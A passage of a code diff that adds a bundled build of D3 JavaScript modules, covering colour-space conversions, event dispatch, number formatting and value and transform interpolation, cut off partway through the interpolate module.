+function hsl2rgb(h, m1, m2) { + return (h < 60 ? m1 + (m2 - m1) * h / 60 + : h < 180 ? m2 + : h < 240 ? m1 + (m2 - m1) * (240 - h) / 60 + : m1) * 255; +} + +var deg2rad = Math.PI / 180; +var rad2deg = 180 / Math.PI; + +var Kn = 18; +var Xn = 0.950470; +var Yn = 1; +var Zn = 1.088830; +var t0 = 4 / 29; +var t1 = 6 / 29; +var t2 = 3 * t1 * t1; +var t3 = t1 * t1 * t1; + +function labConvert(o) { + if (o instanceof Lab) return new Lab(o.l, o.a, o.b, o.opacity); + if (o instanceof Hcl) { + var h = o.h * deg2rad; + return new Lab(o.l, Math.cos(h) * o.c, Math.sin(h) * o.c, o.opacity); + } + if (!(o instanceof Rgb)) o = rgbConvert(o); + var b = rgb2xyz(o.r), + a = rgb2xyz(o.g), + l = rgb2xyz(o.b), + x = xyz2lab((0.4124564 * b + 0.3575761 * a + 0.1804375 * l) / Xn), + y = xyz2lab((0.2126729 * b + 0.7151522 * a + 0.0721750 * l) / Yn), + z = xyz2lab((0.0193339 * b + 0.1191920 * a + 0.9503041 * l) / Zn); + return new Lab(116 * y - 16, 500 * (x - y), 200 * (y - z), o.opacity); +} + +function lab(l, a, b, opacity) { + return arguments.length === 1 ? labConvert(l) : new Lab(l, a, b, opacity == null ? 1 : opacity); +} + +function Lab(l, a, b, opacity) { + this.l = +l; + this.a = +a; + this.b = +b; + this.opacity = +opacity; +} + +define(Lab, lab, extend(Color, { + brighter: function(k) { + return new Lab(this.l + Kn * (k == null ? 1 : k), this.a, this.b, this.opacity); + }, + darker: function(k) { + return new Lab(this.l - Kn * (k == null ? 1 : k), this.a, this.b, this.opacity); + }, + rgb: function() { + var y = (this.l + 16) / 116, + x = isNaN(this.a) ? y : y + this.a / 500, + z = isNaN(this.b) ? y : y - this.b / 200; + y = Yn * lab2xyz(y); + x = Xn * lab2xyz(x); + z = Zn * lab2xyz(z); + return new Rgb( + xyz2rgb( 3.2404542 * x - 1.5371385 * y - 0.4985314 * z), // D65 -> sRGB + xyz2rgb(-0.9692660 * x + 1.8760108 * y + 0.0415560 * z), + xyz2rgb( 0.0556434 * x - 0.2040259 * y + 1.0572252 * z), + this.opacity + ); + } +})); + +function xyz2lab(t) { + return t > t3 ? Math.pow(t, 1 / 3) : t / t2 + t0; +} + +function lab2xyz(t) { + return t > t1 ? t * t * t : t2 * (t - t0); +} + +function xyz2rgb(x) { + return 255 * (x <= 0.0031308 ? 12.92 * x : 1.055 * Math.pow(x, 1 / 2.4) - 0.055); +} + +function rgb2xyz(x) { + return (x /= 255) <= 0.04045 ? x / 12.92 : Math.pow((x + 0.055) / 1.055, 2.4); +} + +function hclConvert(o) { + if (o instanceof Hcl) return new Hcl(o.h, o.c, o.l, o.opacity); + if (!(o instanceof Lab)) o = labConvert(o); + var h = Math.atan2(o.b, o.a) * rad2deg; + return new Hcl(h < 0 ? h + 360 : h, Math.sqrt(o.a * o.a + o.b * o.b), o.l, o.opacity); +} + +function hcl(h, c, l, opacity) { + return arguments.length === 1 ? hclConvert(h) : new Hcl(h, c, l, opacity == null ? 1 : opacity); +} + +function Hcl(h, c, l, opacity) { + this.h = +h; + this.c = +c; + this.l = +l; + this.opacity = +opacity; +} + +define(Hcl, hcl, extend(Color, { + brighter: function(k) { + return new Hcl(this.h, this.c, this.l + Kn * (k == null ? 1 : k), this.opacity); + }, + darker: function(k) { + return new Hcl(this.h, this.c, this.l - Kn * (k == null ? 1 : k), this.opacity); + }, + rgb: function() { + return labConvert(this).rgb(); + } +})); + +var A = -0.14861; +var B = +1.78277; +var C = -0.29227; +var D = -0.90649; +var E = +1.97294; +var ED = E * D; +var EB = E * B; +var BC_DA = B * C - D * A; + +function cubehelixConvert(o) { + if (o instanceof Cubehelix) return new Cubehelix(o.h, o.s, o.l, o.opacity); + if (!(o instanceof Rgb)) o = rgbConvert(o); + var r = o.r / 255, + g = o.g / 255, + b = o.b / 255, + l = (BC_DA * b + ED * r - EB * g) / (BC_DA + ED - EB), + bl = b - l, + k = (E * (g - l) - C * bl) / D, + s = Math.sqrt(k * k + bl * bl) / (E * l * (1 - l)), // NaN if l=0 or l=1 + h = s ? Math.atan2(k, bl) * rad2deg - 120 : NaN; + return new Cubehelix(h < 0 ? h + 360 : h, s, l, o.opacity); +} + +function cubehelix(h, s, l, opacity) { + return arguments.length === 1 ? cubehelixConvert(h) : new Cubehelix(h, s, l, opacity == null ? 1 : opacity); +} + +function Cubehelix(h, s, l, opacity) { + this.h = +h; + this.s = +s; + this.l = +l; + this.opacity = +opacity; +} + +define(Cubehelix, cubehelix, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Cubehelix(this.h, this.s, this.l * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Cubehelix(this.h, this.s, this.l * k, this.opacity); + }, + rgb: function() { + var h = isNaN(this.h) ? 0 : (this.h + 120) * deg2rad, + l = +this.l, + a = isNaN(this.s) ? 0 : this.s * l * (1 - l), + cosh = Math.cos(h), + sinh = Math.sin(h); + return new Rgb( + 255 * (l + a * (A * cosh + B * sinh)), + 255 * (l + a * (C * cosh + D * sinh)), + 255 * (l + a * (E * cosh)), + this.opacity + ); + } +})); + +exports.color = color; +exports.rgb = rgb; +exports.hsl = hsl; +exports.lab = lab; +exports.hcl = hcl; +exports.cubehelix = cubehelix; + +Object.defineProperty(exports, '__esModule', { value: true }); + +}))); + +},{}],4:[function(require,module,exports){ +// https://d3js.org/d3-dispatch/ Version 1.0.1. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, function (exports) { 'use strict'; + + var noop = {value: function() {}}; + + function dispatch() { + for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) { + if (!(t = arguments[i] + "") || (t in _)) throw new Error("illegal type: " + t); + _[t] = []; + } + return new Dispatch(_); + } + + function Dispatch(_) { + this._ = _; + } + + function parseTypenames(typenames, types) { + return typenames.trim().split(/^|\s+/).map(function(t) { + var name = "", i = t.indexOf("."); + if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); + if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t); + return {type: t, name: name}; + }); + } + + Dispatch.prototype = dispatch.prototype = { + constructor: Dispatch, + on: function(typename, callback) { + var _ = this._, + T = parseTypenames(typename + "", _), + t, + i = -1, + n = T.length; + + // If no callback was specified, return the callback of the given type and name. + if (arguments.length < 2) { + while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t; + return; + } + + // If a type was specified, set the callback for the given type and name. + // Otherwise, if a null callback was specified, remove callbacks of the given name. + if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback); + while (++i < n) { + if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback); + else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null); + } + + return this; + }, + copy: function() { + var copy = {}, _ = this._; + for (var t in _) copy[t] = _[t].slice(); + return new Dispatch(copy); + }, + call: function(type, that) { + if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2]; + if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); + for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); + }, + apply: function(type, that, args) { + if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); + for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); + } + }; + + function get(type, name) { + for (var i = 0, n = type.length, c; i < n; ++i) { + if ((c = type[i]).name === name) { + return c.value; + } + } + } + + function set(type, name, callback) { + for (var i = 0, n = type.length; i < n; ++i) { + if (type[i].name === name) { + type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1)); + break; + } + } + if (callback != null) type.push({name: name, value: callback}); + return type; + } + + exports.dispatch = dispatch; + + Object.defineProperty(exports, '__esModule', { value: true }); + +})); +},{}],5:[function(require,module,exports){ +// https://d3js.org/d3-format/ Version 1.0.2. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, function (exports) { 'use strict'; + + // Computes the decimal coefficient and exponent of the specified number x with + // significant digits p, where x is positive and p is in [1, 21] or undefined. + // For example, formatDecimal(1.23) returns ["123", 0]. + function formatDecimal(x, p) { + if ((i = (x = p ? x.toExponential(p - 1) : x.toExponential()).indexOf("e")) < 0) return null; // NaN, ±Infinity + var i, coefficient = x.slice(0, i); + + // The string returned by toExponential either has the form \d\.\d+e[-+]\d+ + // (e.g., 1.2e+3) or the form \de[-+]\d+ (e.g., 1e+3). + return [ + coefficient.length > 1 ? coefficient[0] + coefficient.slice(2) : coefficient, + +x.slice(i + 1) + ]; + } + + function exponent(x) { + return x = formatDecimal(Math.abs(x)), x ? x[1] : NaN; + } + + function formatGroup(grouping, thousands) { + return function(value, width) { + var i = value.length, + t = [], + j = 0, + g = grouping[0], + length = 0; + + while (i > 0 && g > 0) { + if (length + g + 1 > width) g = Math.max(1, width - length); + t.push(value.substring(i -= g, i + g)); + if ((length += g + 1) > width) break; + g = grouping[j = (j + 1) % grouping.length]; + } + + return t.reverse().join(thousands); + }; + } + + function formatDefault(x, p) { + x = x.toPrecision(p); + + out: for (var n = x.length, i = 1, i0 = -1, i1; i < n; ++i) { + switch (x[i]) { + case ".": i0 = i1 = i; break; + case "0": if (i0 === 0) i0 = i; i1 = i; break; + case "e": break out; + default: if (i0 > 0) i0 = 0; break; + } + } + + return i0 > 0 ? x.slice(0, i0) + x.slice(i1 + 1) : x; + } + + var prefixExponent; + + function formatPrefixAuto(x, p) { + var d = formatDecimal(x, p); + if (!d) return x + ""; + var coefficient = d[0], + exponent = d[1], + i = exponent - (prefixExponent = Math.max(-8, Math.min(8, Math.floor(exponent / 3))) * 3) + 1, + n = coefficient.length; + return i === n ? coefficient + : i > n ? coefficient + new Array(i - n + 1).join("0") + : i > 0 ? coefficient.slice(0, i) + "." + coefficient.slice(i) + : "0." + new Array(1 - i).join("0") + formatDecimal(x, Math.max(0, p + i - 1))[0]; // less than 1y! + } + + function formatRounded(x, p) { + var d = formatDecimal(x, p); + if (!d) return x + ""; + var coefficient = d[0], + exponent = d[1]; + return exponent < 0 ? "0." + new Array(-exponent).join("0") + coefficient + : coefficient.length > exponent + 1 ? coefficient.slice(0, exponent + 1) + "." + coefficient.slice(exponent + 1) + : coefficient + new Array(exponent - coefficient.length + 2).join("0"); + } + + var formatTypes = { + "": formatDefault, + "%": function(x, p) { return (x * 100).toFixed(p); }, + "b": function(x) { return Math.round(x).toString(2); }, + "c": function(x) { return x + ""; }, + "d": function(x) { return Math.round(x).toString(10); }, + "e": function(x, p) { return x.toExponential(p); }, + "f": function(x, p) { return x.toFixed(p); }, + "g": function(x, p) { return x.toPrecision(p); }, + "o": function(x) { return Math.round(x).toString(8); }, + "p": function(x, p) { return formatRounded(x * 100, p); }, + "r": formatRounded, + "s": formatPrefixAuto, + "X": function(x) { return Math.round(x).toString(16).toUpperCase(); }, + "x": function(x) { return Math.round(x).toString(16); } + }; + + // [[fill]align][sign][symbol][0][width][,][.precision][type] + var re = /^(?:(.)?([<>=^]))?([+\-\( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?([a-z%])?$/i; + + function formatSpecifier(specifier) { + return new FormatSpecifier(specifier); + } + + function FormatSpecifier(specifier) { + if (!(match = re.exec(specifier))) throw new Error("invalid format: " + specifier); + + var match, + fill = match[1] || " ", + align = match[2] || ">", + sign = match[3] || "-", + symbol = match[4] || "", + zero = !!match[5], + width = match[6] && +match[6], + comma = !!match[7], + precision = match[8] && +match[8].slice(1), + type = match[9] || ""; + + // The "n" type is an alias for ",g". + if (type === "n") comma = true, type = "g"; + + // Map invalid types to the default format. + else if (!formatTypes[type]) type = ""; + + // If zero fill is specified, padding goes after sign and before digits. + if (zero || (fill === "0" && align === "=")) zero = true, fill = "0", align = "="; + + this.fill = fill; + this.align = align; + this.sign = sign; + this.symbol = symbol; + this.zero = zero; + this.width = width; + this.comma = comma; + this.precision = precision; + this.type = type; + } + + FormatSpecifier.prototype.toString = function() { + return this.fill + + this.align + + this.sign + + this.symbol + + (this.zero ? "0" : "") + + (this.width == null ? "" : Math.max(1, this.width | 0)) + + (this.comma ? "," : "") + + (this.precision == null ? "" : "." + Math.max(0, this.precision | 0)) + + this.type; + }; + + var prefixes = ["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"]; + + function identity(x) { + return x; + } + + function formatLocale(locale) { + var group = locale.grouping && locale.thousands ? formatGroup(locale.grouping, locale.thousands) : identity, + currency = locale.currency, + decimal = locale.decimal; + + function newFormat(specifier) { + specifier = formatSpecifier(specifier); + + var fill = specifier.fill, + align = specifier.align, + sign = specifier.sign, + symbol = specifier.symbol, + zero = specifier.zero, + width = specifier.width, + comma = specifier.comma, + precision = specifier.precision, + type = specifier.type; + + // Compute the prefix and suffix. + // For SI-prefix, the suffix is lazily computed. + var prefix = symbol === "$" ? currency[0] : symbol === "#" && /[boxX]/.test(type) ? "0" + type.toLowerCase() : "", + suffix = symbol === "$" ? currency[1] : /[%p]/.test(type) ? "%" : ""; + + // What format function should we use? + // Is this an integer type? + // Can this type generate exponential notation? + var formatType = formatTypes[type], + maybeSuffix = !type || /[defgprs%]/.test(type); + + // Set the default precision if not specified, + // or clamp the specified precision to the supported range. + // For significant precision, it must be in [1, 21]. + // For fixed precision, it must be in [0, 20]. + precision = precision == null ? (type ? 6 : 12) + : /[gprs]/.test(type) ? Math.max(1, Math.min(21, precision)) + : Math.max(0, Math.min(20, precision)); + + function format(value) { + var valuePrefix = prefix, + valueSuffix = suffix, + i, n, c; + + if (type === "c") { + valueSuffix = formatType(value) + valueSuffix; + value = ""; + } else { + value = +value; + + // Convert negative to positive, and compute the prefix. + // Note that -0 is not less than 0, but 1 / -0 is! + var valueNegative = (value < 0 || 1 / value < 0) && (value *= -1, true); + + // Perform the initial formatting. + value = formatType(value, precision); + + // If the original value was negative, it may be rounded to zero during + // formatting; treat this as (positive) zero. + if (valueNegative) { + i = -1, n = value.length; + valueNegative = false; + while (++i < n) { + if (c = value.charCodeAt(i), (48 < c && c < 58) + || (type === "x" && 96 < c && c < 103) + || (type === "X" && 64 < c && c < 71)) { + valueNegative = true; + break; + } + } + } + + // Compute the prefix and suffix. + valuePrefix = (valueNegative ? (sign === "(" ? sign : "-") : sign === "-" || sign === "(" ? "" : sign) + valuePrefix; + valueSuffix = valueSuffix + (type === "s" ? prefixes[8 + prefixExponent / 3] : "") + (valueNegative && sign === "(" ? ")" : ""); + + // Break the formatted value into the integer “value” part that can be + // grouped, and fractional or exponential “suffix” part that is not. + if (maybeSuffix) { + i = -1, n = value.length; + while (++i < n) { + if (c = value.charCodeAt(i), 48 > c || c > 57) { + valueSuffix = (c === 46 ? decimal + value.slice(i + 1) : value.slice(i)) + valueSuffix; + value = value.slice(0, i); + break; + } + } + } + } + + // If the fill character is not "0", grouping is applied before padding. + if (comma && !zero) value = group(value, Infinity); + + // Compute the padding. + var length = valuePrefix.length + value.length + valueSuffix.length, + padding = length < width ? new Array(width - length + 1).join(fill) : ""; + + // If the fill character is "0", grouping is applied after padding. + if (comma && zero) value = group(padding + value, padding.length ? width - valueSuffix.length : Infinity), padding = ""; + + // Reconstruct the final output based on the desired alignment. + switch (align) { + case "<": return valuePrefix + value + valueSuffix + padding; + case "=": return valuePrefix + padding + value + valueSuffix; + case "^": return padding.slice(0, length = padding.length >> 1) + valuePrefix + value + valueSuffix + padding.slice(length); + } + return padding + valuePrefix + value + valueSuffix; + } + + format.toString = function() { + return specifier + ""; + }; + + return format; + } + + function formatPrefix(specifier, value) { + var f = newFormat((specifier = formatSpecifier(specifier), specifier.type = "f", specifier)), + e = Math.max(-8, Math.min(8, Math.floor(exponent(value) / 3))) * 3, + k = Math.pow(10, -e), + prefix = prefixes[8 + e / 3]; + return function(value) { + return f(k * value) + prefix; + }; + } + + return { + format: newFormat, + formatPrefix: formatPrefix + }; + } + + var locale; + defaultLocale({ + decimal: ".", + thousands: ",", + grouping: [3], + currency: ["$", ""] + }); + + function defaultLocale(definition) { + locale = formatLocale(definition); + exports.format = locale.format; + exports.formatPrefix = locale.formatPrefix; + return locale; + } + + function precisionFixed(step) { + return Math.max(0, -exponent(Math.abs(step))); + } + + function precisionPrefix(step, value) { + return Math.max(0, Math.max(-8, Math.min(8, Math.floor(exponent(value) / 3))) * 3 - exponent(Math.abs(step))); + } + + function precisionRound(step, max) { + step = Math.abs(step), max = Math.abs(max) - step; + return Math.max(0, exponent(max) - exponent(step)) + 1; + } + + exports.formatDefaultLocale = defaultLocale; + exports.formatLocale = formatLocale; + exports.formatSpecifier = formatSpecifier; + exports.precisionFixed = precisionFixed; + exports.precisionPrefix = precisionPrefix; + exports.precisionRound = precisionRound; + + Object.defineProperty(exports, '__esModule', { value: true }); + +})); +},{}],6:[function(require,module,exports){ +// https://d3js.org/d3-interpolate/ Version 1.1.2. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-color')) : + typeof define === 'function' && define.amd ? define(['exports', 'd3-color'], factory) : + (factory((global.d3 = global.d3 || {}),global.d3)); +}(this, (function (exports,d3Color) { 'use strict'; + +function basis(t1, v0, v1, v2, v3) { + var t2 = t1 * t1, t3 = t2 * t1; + return ((1 - 3 * t1 + 3 * t2 - t3) * v0 + + (4 - 6 * t2 + 3 * t3) * v1 + + (1 + 3 * t1 + 3 * t2 - 3 * t3) * v2 + + t3 * v3) / 6; +} + +var basis$1 = function(values) { + var n = values.length - 1; + return function(t) { + var i = t <= 0 ? (t = 0) : t >= 1 ? (t = 1, n - 1) : Math.floor(t * n), + v1 = values[i], + v2 = values[i + 1], + v0 = i > 0 ? values[i - 1] : 2 * v1 - v2, + v3 = i < n - 1 ? values[i + 2] : 2 * v2 - v1; + return basis((t - i / n) * n, v0, v1, v2, v3); + }; +}; + +var basisClosed = function(values) { + var n = values.length; + return function(t) { + var i = Math.floor(((t %= 1) < 0 ? ++t : t) * n), + v0 = values[(i + n - 1) % n], + v1 = values[i % n], + v2 = values[(i + 1) % n], + v3 = values[(i + 2) % n]; + return basis((t - i / n) * n, v0, v1, v2, v3); + }; +}; + +var constant = function(x) { + return function() { + return x; + }; +}; + +function linear(a, d) { + return function(t) { + return a + t * d; + }; +} + +function exponential(a, b, y) { + return a = Math.pow(a, y), b = Math.pow(b, y) - a, y = 1 / y, function(t) { + return Math.pow(a + t * b, y); + }; +} + +function hue(a, b) { + var d = b - a; + return d ? linear(a, d > 180 || d < -180 ? d - 360 * Math.round(d / 360) : d) : constant(isNaN(a) ? b : a); +} + +function gamma(y) { + return (y = +y) === 1 ? nogamma : function(a, b) { + return b - a ? exponential(a, b, y) : constant(isNaN(a) ? b : a); + }; +} + +function nogamma(a, b) { + var d = b - a; + return d ? linear(a, d) : constant(isNaN(a) ? b : a); +} + +var rgb$1 = (function rgbGamma(y) { + var color$$1 = gamma(y); + + function rgb$$1(start, end) { + var r = color$$1((start = d3Color.rgb(start)).r, (end = d3Color.rgb(end)).r), + g = color$$1(start.g, end.g), + b = color$$1(start.b, end.b), + opacity = color$$1(start.opacity, end.opacity); + return function(t) { + start.r = r(t); + start.g = g(t); + start.b = b(t); + start.opacity = opacity(t); + return start + ""; + }; + } + + rgb$$1.gamma = rgbGamma; + + return rgb$$1; +})(1); + +function rgbSpline(spline) { + return function(colors) { + var n = colors.length, + r = new Array(n), + g = new Array(n), + b = new Array(n), + i, color$$1; + for (i = 0; i < n; ++i) { + color$$1 = d3Color.rgb(colors[i]); + r[i] = color$$1.r || 0; + g[i] = color$$1.g || 0; + b[i] = color$$1.b || 0; + } + r = spline(r); + g = spline(g); + b = spline(b); + color$$1.opacity = 1; + return function(t) { + color$$1.r = r(t); + color$$1.g = g(t); + color$$1.b = b(t); + return color$$1 + ""; + }; + }; +} + +var rgbBasis = rgbSpline(basis$1); +var rgbBasisClosed = rgbSpline(basisClosed); + +var array = function(a, b) { + var nb = b ? b.length : 0, + na = a ? Math.min(nb, a.length) : 0, + x = new Array(nb), + c = new Array(nb), + i; + + for (i = 0; i < na; ++i) x[i] = value(a[i], b[i]); + for (; i < nb; ++i) c[i] = b[i]; + + return function(t) { + for (i = 0; i < na; ++i) c[i] = x[i](t); + return c; + }; +}; + +var date = function(a, b) { + var d = new Date; + return a = +a, b -= a, function(t) { + return d.setTime(a + b * t), d; + }; +}; + +var number = function(a, b) { + return a = +a, b -= a, function(t) { + return a + b * t; + }; +}; + +var object = function(a, b) { + var i = {}, + c = {}, + k; + + if (a === null || typeof a !== "object") a = {}; + if (b === null || typeof b !== "object") b = {}; + + for (k in b) { + if (k in a) { + i[k] = value(a[k], b[k]); + } else { + c[k] = b[k]; + } + } + + return function(t) { + for (k in i) c[k] = i[k](t); + return c; + }; +}; + +var reA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g; +var reB = new RegExp(reA.source, "g"); + +function zero(b) { + return function() { + return b; + }; +} + +function one(b) { + return function(t) { + return b(t) + ""; + }; +} + +var string = function(a, b) { + var bi = reA.lastIndex = reB.lastIndex = 0, // scan index for next number in b + am, // current match in a + bm, // current match in b + bs, // string preceding current number in b, if any + i = -1, // index in s + s = [], // string constants and placeholders + q = []; // number interpolators + + // Coerce inputs to strings. + a = a + "", b = b + ""; + + // Interpolate pairs of numbers in a & b. + while ((am = reA.exec(a)) + && (bm = reB.exec(b))) { + if ((bs = bm.index) > bi) { // a string precedes the next number in b + bs = b.slice(bi, bs); + if (s[i]) s[i] += bs; // coalesce with previous string + else s[++i] = bs; + } + if ((am = am[0]) === (bm = bm[0])) { // numbers in a & b match + if (s[i]) s[i] += bm; // coalesce with previous string + else s[++i] = bm; + } else { // interpolate non-matching numbers + s[++i] = null; + q.push({i: i, x: number(am, bm)}); + } + bi = reB.lastIndex; + } + + // Add remains of b. + if (bi < b.length) { + bs = b.slice(bi); + if (s[i]) s[i] += bs; // coalesce with previous string + else s[++i] = bs; + } + + // Special optimization for only a single match. + // Otherwise, interpolate each of the numbers and rejoin the string. + return s.length < 2 ? (q[0] + ? one(q[0].x) + : zero(b)) + : (b = q.length, function(t) { + for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t); + return s.join(""); + }); +}; + +var value = function(a, b) { + var t = typeof b, c; + return b == null || t === "boolean" ? constant(b) + : (t === "number" ? number + : t === "string" ? ((c = d3Color.color(b)) ? (b = c, rgb$1) : string) + : b instanceof d3Color.color ? rgb$1 + : b instanceof Date ? date + : Array.isArray(b) ? array + : isNaN(b) ? object + : number)(a, b); +}; + +var round = function(a, b) { + return a = +a, b -= a, function(t) { + return Math.round(a + b * t); + }; +}; + +var degrees = 180 / Math.PI; + +var identity = { + translateX: 0, + translateY: 0, + rotate: 0, + skewX: 0, + scaleX: 1, + scaleY: 1 +}; + +var decompose = function(a, b, c, d, e, f) { + var scaleX, scaleY, skewX; + if (scaleX = Math.sqrt(a * a + b * b)) a /= scaleX, b /= scaleX; + if (skewX = a * c + b * d) c -= a * skewX, d -= b * skewX; + if (scaleY = Math.sqrt(c * c + d * d)) c /= scaleY, d /= scaleY, skewX /= scaleY; + if (a * d < b * c) a = -a, b = -b, skewX = -skewX, scaleX = -scaleX; + return { + translateX: e, + translateY: f, + rotate: Math.atan2(b, a) * degrees, + skewX: Math.atan(skewX) * degrees, + scaleX: scaleX, + scaleY: scaleY + }; +}; + +var cssNode; +var cssRoot; +var cssView; +var svgNode; + +function parseCss(value) { + if (value === "none") return identity; + if (!cssNode) cssNode = document.createElement("DIV"), cssRoot = document.documentElement, cssView = document.defaultView; + cssNode.style.transform = value; + value = cssView.getComputedStyle(cssRoot.appendChild(cssNode), null).getPropertyValue("transform"); + cssRoot.removeChild(cssNode); + value = value.slice(7, -1).split(","); + return decompose(+value[0], +value[1], +value[2], +value[3], +value[4], +value[5]); +} + +function parseSvg(value) { + if (value == null) return identity; + if (!svgNode) svgNode = document.createElementNS("http://www.w3.org/2000/svg", "g"); + svgNode.setAttribute("transform", value); + if (!(value = svgNode.transform.baseVal.consolidate())) return identity; + value = value.matrix; + return decompose(value.a, value.b, value.c, value.d, value.e, value.f); +} + +function interpolateTransform(parse, pxComma, pxParen, degParen) { + + function pop(s) { + return s.length ? s.pop() + " " : ""; + } + + function translate(xa, ya, xb, yb, s, q) { + if (xa !== xb || ya !== yb) { + var i = s.push("translate(", null, pxComma, null, pxParen); + q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)}); + } else if (xb || yb) { + s.push("translate(" + xb + pxComma + yb + pxParen); + } + } + + function rotate(a, b, s, q) { + if (a !== b) { + if (a - b > 180) b += 360; else if (b - a > 180) a += 360; // shortest path + q.push({i: s.push(pop(s) + "rotate(", null, degParen) - 2, x: number(a, b)}); + } else if (b) { + s.push(pop(s) + "rotate(" + b + degParen); + } + } + + function skewX(a, b, s, q) { + if (a !== b) { + q.push({i: s.push(pop(s) + "skewX(", null, degParen) - 2, x: number(a, b)}); + } else if (b) { + s.push(pop(s) + "skewX(" + b + degParen); + } + } + + function scale(xa, ya, xb, yb, s, q) { + if (xa !== xb || ya !== yb) { + var i = s.push(pop(s) + "scale(", null, ",", null, ")"); + q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)}); + } else if (xb !== 1 || yb !== 1) { + s.push(pop(s) + "scale(" + xb + "," + yb + ")"); + } + } + + return function(a, b) { + var s = [], // string constants and placeholders + q = []; // number interpolators + a = parse(a), b = parse(b); + translate(a.translateX, a.translateY, b.translateX, b.translateY, s, q); + rotate(a.rotate, b.rotate, s, q); + skewX(a.skewX, b.skewX, s, q); + scale(a.scaleX, a.scaleY, b.scaleX, b.scaleY, s, q); + a = b = null; // gc + return function(t) { + var i = -1, n = q.length, o; + while (++i < n) s[(o = q[i]).i] = o.x(t); + return s.join(""); + }; + }; +} + +var interpolateTransformCss = interpolateTransform(parseCss, "px, ", "px)", "deg)"); +var interpolateTransformSvg = interpolateTransform(parseSvg, ", ", ")", ")"); + +var rho = Math.SQRT2; +var rho2 = 2; +var rho4 = 4; +var epsilon2 = 1e-12; + +function cosh(x) { + return ((x = Math.exp(x)) + 1 / x) / 2; +} + +function sinh(x) { + return ((x = Math.exp(x)) - 1 / x) / 2; +} + +function tanh(x) { + return ((x = Math.exp(2 * x)) - 1) / (x + 1); +} + +// p0 = [ux0, uy0, w0] +// p1 = [ux1, uy1, w1] +var zoom = function(p0, p1) { + var ux0 = p0[0], uy0 = p0[1], w0 = p0[2], + ux1 = p1[0], uy1 = p1[1], w1 = p1[2], + dx = ux1 - ux0, + dy = uy1 - uy0, + d2 = dx * dx + dy * dy, + i, + S; + + // Special case for u0 ≅ u1. + if (d2 < epsilon2) { + S = Math.log(w1 / w0) / rho; + i = function(t) { + return [ + ux0 + t * dx, + uy0 + t * dy, + w0 * Math.exp(rho * t * S) + ]; + }; + } + + // General case. + else { + var d1 = Math.sqrt(d2), + b0 = (w1 * w1 - w0 * w0 + rho4 * d2) / (2 * w0 * rho2 * d1), + b1 = (w1 * w1 - w0 * w0 - rho4 * d2) / (2 * w1 * rho2 * d1), + r0 = Math.log(Math.sqrt(b0 * b0 + 1) - b0), + r1 = Math.log(Math.sqrt(b1 * b1 + 1) - b1); + S = (r1 - r0) / rho; + i = function(t) { + var s = t * S, + coshr0 = cosh(r0), + u = w0 / (rho2 * d1) * (coshr0 * tanh(rho * s + r0) - sinh(r0)); + return [ + ux0 + u * dx, + uy0 + u * dy, + w0 * coshr0 / cosh(rho * s + r0) + ]; + }; + } + + i.duration = S * 1000; + + return i; +}; + +function hsl$1(hue$$1) { + return function(start, end) { + var h = hue$$1((start = d3Color.hsl(start)).h, (end = d3Color.hsl(end)).h), + s = nogamma(start.s, end.s), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.s = s(t); + start.l = l(t); + start.opacity = opacity(t); + return start + ""; + }; + } +} + +var hsl$2 = hsl$1(hue); +var hslLong = hsl$1(nogamma); + +function lab$1(start, end) { + var l = nogamma((start = d3Color.lab(start)).l, (end = d3Color.lab(end)).l), + a = nogamma(start.a, end.a), + b = nogamma(start.b, end.b), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.l = l(t); + start.a = a(t); + start.b = b(t); + start.opacity = opacity(t); + return start + ""; + }; +} + +function hcl$1(hue$$1) { + return function(start, end) { + var h = hue$$1((start = d3Color.hcl(start)).h, (end = d3Color.hcl(end)).h), + c = nogamma(start.c, end.c), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.c = c(t); + start.l = l(t); + start.opacity = opacity(t); + return start + ""; + }; + } +} + +var hcl$2 = hcl$1(hue); +var hclLong = hcl$1(nogamma); + +function cubehelix$1(hue$$1) { + return (function cubehelixGamma(y) { + y = +y; + + function cubehelix$$1(start, end) { + var h = hue$$1((start = d3Color.cubehelix(start)).h, (end = d3Color.cubehelix(end)).h), + s = nogamma(start.s, end.s), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.s = s(t); + start.l = l(Math.pow(t, y)); + start.opacity = opacity(t); + return start + ""; + }; + } + + cubehelix$$1.gamma = cubehelixGamma; + + return cubehelix$$1; + 